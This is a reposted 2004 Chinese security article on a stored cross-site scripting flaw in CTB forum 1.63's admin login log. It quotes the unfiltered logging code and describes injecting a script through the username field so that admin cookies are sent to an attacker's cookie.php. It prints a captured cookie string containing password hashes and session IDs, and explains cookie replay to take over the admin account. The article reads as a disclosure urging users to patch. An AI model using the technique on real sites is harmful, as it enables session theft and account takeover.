萬盛學電腦網

 萬盛學電腦網 >> 應用技巧 >> 漂亮但不安全的CTB論壇--CTB論壇再探

漂亮但不安全的CTB論壇--CTB論壇再探

本文作者:sniper
文章性質:原創
發布日期:2004-04-16
注:本文已在《黑客X檔案》發表,轉載請保留此信息。
============================================

  記得很久前PSKEY寫過一篇CTB論壇存在的一個可以直接添加管理員的漏洞,的確CTB論壇的代碼可讀性非常好,是一個非常的美觀的文本論壇。前幾天找了套最新的1.63版的論壇代碼來看了看,發現了一些不足之處可以讓攻擊者獲得論壇管理權限。

  在CTB論壇中對前台和後台登陸的情況都設置了一個日志記錄供管理員查看,可以讓管理員盡快發現論壇是否被人入侵。但是對於用戶遞交的數據沒有進行任何處理就記錄到了日志當中,我們可以通過遞交特殊的語句來進行跨站攻擊,從而直接得到密碼。

  我們看看admin目錄下的login.php文件的日志處理部分的代碼:

代碼:
--------------------------------------------------------------------------------

//後台管理員登陸日志
function adminLoginLog($check="ok")
{
  if($this->set[logRecord] == "N"){
    return false;
  }
  $msgArray[phpCode] = $this->code;
  //判斷文件大小是否需要清空
  if (filesize("../".$this->set['dataPath']."/log_adminlogin.php") > $this->set['logRecordSize']){
    $this->file = "../".$this->set['dataPath']."/log_adminlogin.php";
    $this->null_write("");
  }
  //登陸錯誤
  //省去部分代碼........
  //登陸失敗
  else {
    $msgArray[loginMode] = 0;
    $msgArray[loginId] = $this->input['userName'];
    $msgArray[wrongMsg] = $check;
    $msgArray[userIp] = $this->ip;
    $msgArray[loginTime] = time();
    $msgArray[temp1] = ""; //備用
    $msgArray[temp2] = ""; //備用
    $this->file = "../".$this->set['dataPath']."/log_adminlogin.php";
    $this->add_line($msgArray);
  }
}

--------------------------------------------------------------------------------

  從代碼上看我們遞交的用戶名等信息既不會進行任何過濾也無論正確與否都會被保存到log_adminlogin.php裡去,當管理員登陸到後台查看日志的時候就會顯示出log_adminlogin.php裡面記錄的登陸信息,我們也就可以通過這個方法來得到管理員的ID和密碼等信息。

  我們打開後台登陸頁面,在用戶名那裡輸入:

代碼:
--------------------------------------------------------------------------------



--------------------------------------------------------------------------------

  因為無論登陸成功否,程序都會進行記錄,所以密碼我們可以隨便填。其中192.168.1.1為我們放置cookie.php的網址,cookie.php為一個可以獲得cookie信息的PHP文件。現在我們要做的就是等了,只要管理員一查看後台登陸日志,我們的PHP程序就會把他的COOKIE截取下來。

  讓我們看看截取到的文件內容:

引用:
--------------------------------------------------------------------------------

ctb_user_login=ctb;%20ctb_user_pass=ce445102682e75bf533d44e1afc38a90;%20ctb_login_mode=1;%20eremite=0;%20skins=2;%20fylinklinkfylogin=cpb;%20userpass=2BA2A8AC968A7A2B0A7BAA7F2FEF18D2;%20username=sniper;%20Dwebdv=userid=1&usercookies=2&userhidden=&password=0reu3g775VrY7458&userclass=%B9%DC%C0%ED%D4%B1&username=admin&StatUserID=3980383;%20TZ=480;%20PHPSESSID=d8765179dc4f3a8708515a031216e503

--------------------------------------------------------------------------------

  我們需要只有ctb_user_login、ctb_user_pass和ctb_login_mode三個就可以得到前台管理權限了,有了這些信息,我們要獲得前台管理員權限就非常容易,用IECookieView找到我們要編輯的COOKIE,把相應的部分替換掉,保存後再進入該站點你就是前台管理員了。

  很簡單的我們就得到了論壇的管理權限,如果被人利用,那麼相信後果是非常嚴重的,希望用CTB論壇的朋友關注他們的官方站點的補丁發布情況,盡快修補該漏洞,以免造成不必要的損失。
copyright © 萬盛學電腦網 all rights reserved